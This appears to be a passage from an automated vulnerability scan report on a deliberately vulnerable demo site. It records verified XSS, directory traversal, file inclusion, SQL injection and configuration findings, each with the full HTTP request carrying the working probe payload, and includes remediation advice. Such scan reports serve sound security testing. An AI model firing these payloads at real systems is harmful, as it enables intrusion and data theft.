Cookie: login=test%2Ftest;mycookie=3'"()&%<acx><ScRiPt%20>rntK(9680)</ScRiPt>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

/comment.php

Verified vulnerability

Details

URL encoded POST input **name** was set to **<your name here>'()"&%<acx><ScRiPt >JD4Q(9412)</ScRiPt>**

Request headers

```
POST /comment.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 132
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

Submit=Submit&comment=555&name=<your%20name%20here>' " ( ) %26%25<acx><ScRiPt%20>JD4Q (9412)
</ScRiPt>&phpaction=echo%20%24_POST[comment];
```

/guestbook.php

Verified vulnerability

Details

URL encoded POST input **name** was set to **test'"()&%<acx><ScRiPt >Y6Zb(9407)</ScRiPt>**

Request headers

```
POST /guestbook.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 84
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

```
name=test'" ( ) %26%25<acx><ScRiPt%20>Y6Zb (9407) </ScRiPt>&submit=add%20message&text=555
```

/guestbook.php

Verified vulnerability

Details

URL encoded POST input **text** was set to **555'"()&%<acx><ScRiPt >Y6Zb(9283)</ScRiPt>**

Request headers

POST /guestbook.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 84

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

name=test&submit=add%20message&text=555'"()%26%25<acx><ScRiPt%20>Y6Zb(9283)</ScRiPt>

/hpp/

Verified vulnerability

Details

URL encoded GET input **pp** was set to **12'"()%&%<acx><ScRiPt >jZhN(9893)</ScRiPt>**

Request headers

GET /hpp/?pp=12'"()%26%25<acx><ScRiPt%20>jZhN(9893)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/hpp/params.php

Verified vulnerability

Details

URL encoded GET input **p** was set to **1'"()%&%<acx><ScRiPt >3dES(9569)</ScRiPt>**

Request headers

GET /hpp/params.php?p=1'"()%26%25<acx><ScRiPt%20>3dES(9569)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/hpp/params.php

Verified vulnerability

Details

URL encoded GET input **pp** was set to **12'"()%&%<acx><ScRiPt >I4SI(9722)</ScRiPt>**

Request headers

GET /hpp/params.php?p=valid&pp=12'"()%26%25<acx><ScRiPt%20>I4SI(9722)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/listproducts.php

Verified vulnerability

Details

URL encoded GET input **artist** was set to **1'"()%&%<acx><ScRiPt >KM0B(9371)</ScRiPt>**

Request headers

GET /listproducts.php?artist=1'"()%26%25<acx><ScRiPt%20>KM0B(9371)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/listproducts.php

Verified vulnerability

Details

URL encoded GET input **cat** was set to **1'"()%26%25<acx><ScRiPt >h2AQ(9315)</ScRiPt>**

Request headers

GET /listproducts.php?cat=1'"()%26%25<acx><ScRiPt%20>h2AQ(9315)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/search.php

Verified vulnerability

Details

URL encoded POST input **searchFor** was set to **the'"()%26%25<acx><ScRiPt >33Yw(9328)</ScRiPt>**

Request headers

POST /search.php?test=query HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 70

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

goButton=go&searchFor=the'"()%26%25<acx><ScRiPt%20>33Yw(9328)</ScRiPt>

/secured/newuser.php

Verified vulnerability

Details

URL encoded POST input **uaddress** was set to **3137 Laguna Street'"()%&%<acx><ScRiPt >cVea(9682)</ScRiPt>**

Request headers

POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street'"()%26%25<acx><ScRiPt%20>cVea(9682)
</ScRiPt>&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g0
0dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjv&uuname=ghovjnjv

/secured/newuser.php

Verified vulnerability

Details

URL encoded POST input **ucc** was set to **41111111111111111111111111111111'()'&%<acx><ScRiPt >cVea(9182)</ScRiPt>**

Request headers

POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street&ucc=41111111111111111111111111111111'()'&%26%25<acx><ScRiPt%20>cVea(9182)</ScRiPt>&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjv&uuname=ghovjnjv

/secured/newuser.php

Verified vulnerability

Details

URL encoded POST input **uemail** was set to **sample@email.tst'()'&%<acx><ScRiPt >cVea(9345)</ScRiPt>**

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 236
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst'"()%26%25<acx><ScRiPt%20>cVea(9345)
</ScRiPt>&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ghovjnjv&uuname=ghovjnjv
```

/secured/newuser.php

Verified vulnerability

Details

URL encoded POST input **uphone** was set to **555-666-0606'"()%&%<acx><ScRiPt >cVea(9547)</ScRiPt>**

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 236
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606'"()%26%25<acx>
<ScRiPt%20>cVea(9547)</ScRiPt>&urname=ghovjnjv&uuname=ghovjnjv
```

/secured/newuser.php

Verified vulnerability

Details

URL encoded POST input **username** was set to **ghovjnjv'')&%<acx><ScRiPt >cVea(9871)</ScRiPt>**

Request headers

```

POST /secured/newuser.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 236
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

```

```

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&username=ghovjnjv' "
)%26%25<acx><ScRiPt%20>cVea(9871)</ScRiPt>&uname=ghovjnjv

```

/secured/newuser.php

Verified vulnerability

Details

URL encoded POST input **uname** was set to **ghovjnjv'')&%<acx><ScRiPt >cVea(9277)</ScRiPt>**

Request headers

POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ghovjnjv&uuname=ghovjnjv' '() %26%25<acx><ScRiPt%20>cVea (9277)</ScRiPt>

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uaddress** was set to <div id="content"> <div class="story"> <h3>If you are already registered please enter your login information below:</h3>
 <form name="loginform" method="post" action="userinfo.php"> <table cellpadding="4" cellspacing="1"> <tr><td>Username : </td><td><input name="uname" type="text" size="20" style="width:120px;"></td></tr> <tr><td>Password : </td><td><input name="pass" type="password" size="20" style="width:120px;"></td></tr> <tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;"></td></tr> </table> </form> </div>""()&%<acx><ScRiPt >3o1l(9394)</ScRiPt>

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 852

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>' " () %26%25<acx>
<ScRiPt%20>3o1l(9394)
</ScRiPt>&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%206666666666
```

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **ucc** was set to **777"onmouseover=3o1l(9849)"**

The input is reflected inside a tag parameter between double quotes.

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 831

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777"onmouseover=3o1l(9849
)"&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%206666666666
```

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uemail** was set to **matheusdaocu@gmail.com"')&%<acx><ScRiPt >3o1l(9934)</ScRiPt>**

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 852

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com'"()%26%25<acx><ScRiPt%20>3o1l(9934)
</ScRiPt>&update=update&uphone=%2B555%206666666666
```

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uphone** was set to **+555 6666666666'"()&%<acx><ScRiPt >3o1l(9784)</ScRiPt>**

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 852

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=%2B55%206666666666'()%26%25<acx><ScRiPt%20>3o11(9784)
</ScRiPt>
```

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **urname** was set to **ghovjnjv<ScRiPt >3GFT(9826)</ScRiPt>**

The input is reflected inside a text element.

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 853
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

```
uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=%2B555%206666666666&urname=ghovjnjv<ScRiPt%20>3GFT(9826)
</ScRiPt>
```

! Directory traversal

Severity	High
Reported by module	/Scripts/PerScheme/Directory_Traversal.script

Description

This script is possibly vulnerable to directory traversal attacks.

Directory Traversal is a vulnerability which allows attackers to access restricted directories and read files outside of the web server's root directory.

Impact

By exploiting directory traversal vulnerabilities, attackers step out of the root directory and access files in other directories. As a result, attackers might view restricted files or execute commands, leading to a full compromise of the Web server.

Recommendation

Your script should filter metacharacters from user input.

References

Affected items

/showimage.php

Verified vulnerability

Details

URL encoded GET input **file** was set to **../../../../../../../../../../../../../../../../proc/version**

File contents found:

```
Linux version 2.6.32-46-server (buildd@lamiak) (gcc version 4.4.3
```

Proof of Exploit

File - /proc/version

```
Linux version 2.6.32-46-server (buildd@lamiak) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5.
```

Request headers

```
GET /showimage.php?
file=../../../../../../../../../../../../../../../../proc/version&size=160 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

! File inclusion

Severity	High
Reported by module	/Scripts/PerScheme/Script_Source_Code_Disclosure.script

Description

This script is possibly vulnerable to file inclusion attacks.

It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.

Impact

It is possible for a remote attacker to include a file from local or remote resources and/or execute arbitrary script code with the privileges of the web-server.

Recommendation

Edit the source code to ensure that input is properly validated. Where is possible, it is recommended to make a list of accepted filenames and restrict the input to that list.

For PHP, the option **allow_url_fopen** would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. It is recommended to disable this option from php.ini.

References

[PHP - Using remote files](https://www.php.net/manual/en/features.remote-files.php) (https://www.php.net/manual/en/features.remote-files.php)

[OWASP PHP Top 5](https://www.owasp.org/index.php/PHP_Top_5) (https://www.owasp.org/index.php/PHP_Top_5)

[Remote file inclusion](https://en.wikipedia.org/wiki/Remote_file_inclusion) (https://en.wikipedia.org/wiki/Remote_file_inclusion)

Affected items

/showimage.php

Details

URL encoded GET input **file** was set to **showimage.php**

Pattern found:

```
<?php
// header("Content-Length: 1" /*. filesize($name)*/);

if( isset($_GET["file"]) && !isset($_GET["size"]) ){
    // open the file in a binary mode
    header("Content-Type: image/jpeg");
    $name = $_GET["file"];
    $fp = fopen($name, 'rb');

    // send the right headers
    header("Content-Type: image/jpeg");

    // dump the picture and stop the script
    fpassthru($fp);
    exit;
}

elseif (isset($_GET["file"]) && isset($_GET["size"])){
    header("Content-Type: image/jpeg");
    $name = $_GET["file"];
    $fp ...
```

Request headers

GET /showimage.php?file=showimage.php&size=160 HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

❗ Macromedia Dreamweaver remote database scripts

Severity	High
Reported by module	/Scripts/PerFolder/Dreamweaver_Scripts.script

Description

Macromedia Dreamweaver has created a directory (`_mmServerScripts` or `_mmDBScripts`) that contains scripts for testing database connectivity. One of these scripts (`mmhttpdb.php` or `mmhttpdb.asp`) can be accessed without user ID or password and contains numerous operations, such as listing Datasource Names or executing arbitrary SQL queries.

Impact

It is possible to execute arbitrary SQL queries and list datasource names.

Recommendation

Remove these directories from production systems.

References

[NGSSoftware advisory \(https://www.helpnetsecurity.com/?s=vulnerability\)](https://www.helpnetsecurity.com/?s=vulnerability)
[CVE-2004-1893 \(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1893\)](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1893)

Affected items

Web Server
Verified vulnerability
Details
Macromedia Dreamweaver scripts found at : <code>//_mmServerScripts/MMHTTPDB.php</code>
Request headers

```
GET // _mmServerScripts/MMHTTPDB.php HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

! nginx SPDY heap buffer overflow

Severity	High
Reported by module	/Scripts/PerServer/Version_Check.script

Description

A heap-based buffer overflow in the SPDY implementation in nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12 allows remote attackers to execute arbitrary code via a crafted request. The problem affects nginx compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the "spdy" option of the "listen" directive is used in a configuration file.

Impact

An attacker can cause a heap memory buffer overflow in a worker process by using a specially crafted request, potentially resulting in arbitrary code execution

Recommendation

Upgrade nginx to the latest version or apply the patch provided by the vendor.

References

[nginx security advisory \(CVE-2014-0133\)](http://mailman.nginx.org/pipermail/nginx-announce/2014/000135.html) (<http://mailman.nginx.org/pipermail/nginx-announce/2014/000135.html>)
[nginx patch](http://nginx.org/download/patch.2014.spdy2.txt) (<http://nginx.org/download/patch.2014.spdy2.txt>)
[CVE-2014-0133](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0133) (<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0133>)

Affected items

Web Server
Details
Version detected: nginx/1.4.1.
Request headers

! PHP allow_url_fopen enabled

Severity	High
----------	------

Reported by module /httpdata/acusensor.js

Description

The PHP configuration directive `allow_url_fopen` is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling `allow_url_fopen` and bad input filtering.

`allow_url_fopen` is enabled by default.

Impact

Application dependant - possible remote file inclusion.

Recommendation

You can disable `allow_url_fopen` from either `php.ini` (for PHP versions newer than 4.3.4) or `.htaccess` (for PHP versions up to 4.3.4).

php.ini

```
allow_url_fopen = 'off'
```

.htaccess

```
php_flag allow_url_fopen off
```

References

[Runtime Configuration](https://www.php.net/manual/en/filesystem.configuration.php) (<https://www.php.net/manual/en/filesystem.configuration.php>)

Affected items

Web Server

Verified vulnerability

Details

Current setting is : **allow_url_fopen = On**

Request headers

! Possible database backup

Severity

High

Reported by module

/httpdata/text_search.js

Description

Manual confirmation is required for this alert.

It looks like this file contains a database backup/dump. A database backup contains a record of the table structure and/or the data from a database and is usually in the form of a list of SQL statements. A database backup is most often used for backing up a database so that its contents can be restored in the event of data loss. This information is highly sensitive and should never be found on a production system.

Impact

This file may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Sensitive files such as database backups should never be stored in a directory that is accessible to the web server. As a workaround, you could restrict access to this file.

Affected items

/admin/create.sql

Details

Request headers

GET /admin/create.sql HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

! SQL injection

Severity	High
Reported by module	/Scripts/PerScheme/Sql_Injection.script

Description

SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.

Impact

An attacker can use SQL injection it to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.

Recommendation

Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.

References

[SQL Injection \(SQLi\) - Acunetix \(https://www.acunetix.com/websitesecurity/sql-injection/\)](https://www.acunetix.com/websitesecurity/sql-injection/)
[Types of SQL Injection \(SQLi\) - Acunetix \(https://www.acunetix.com/websitesecurity/sql-injection2/\)](https://www.acunetix.com/websitesecurity/sql-injection2/)
[Prevent SQL injection vulnerabilities in PHP applications and fix them - Acunetix \(https://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/\)](https://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/)
[SQL Injection - OWASP \(https://www.owasp.org/index.php/SQL_Injection\)](https://www.owasp.org/index.php/SQL_Injection)
[Bobby Tables: A guide to preventing SQL injection \(https://bobby-tables.com/\)](https://bobby-tables.com/)
[SQL Injection Cheat Sheets - Pentestmonkey \(http://pentestmonkey.net/category/cheat-sheet/sql-injection\)](http://pentestmonkey.net/category/cheat-sheet/sql-injection)

Affected items

Web Server

Verified vulnerability

Details

Cookie input **login** was set to **1ACU**START**""8oN**We**ACU**END****

Request headers

GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACU**START**""8oN**We**ACU**END**

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive

Source file: /hj/var/www//index.php, line: 46

Additional details

SQL query: SELECT * FROM users WHERE uname='1ACU**START**""8oN**We**ACU**END**' AND pass=''

"mysql_query" was called.

/AJAX/infoartist.php

Verified vulnerability

Details

URL encoded GET input id was set to **1 AND 3*2*1=6 AND 360=360**

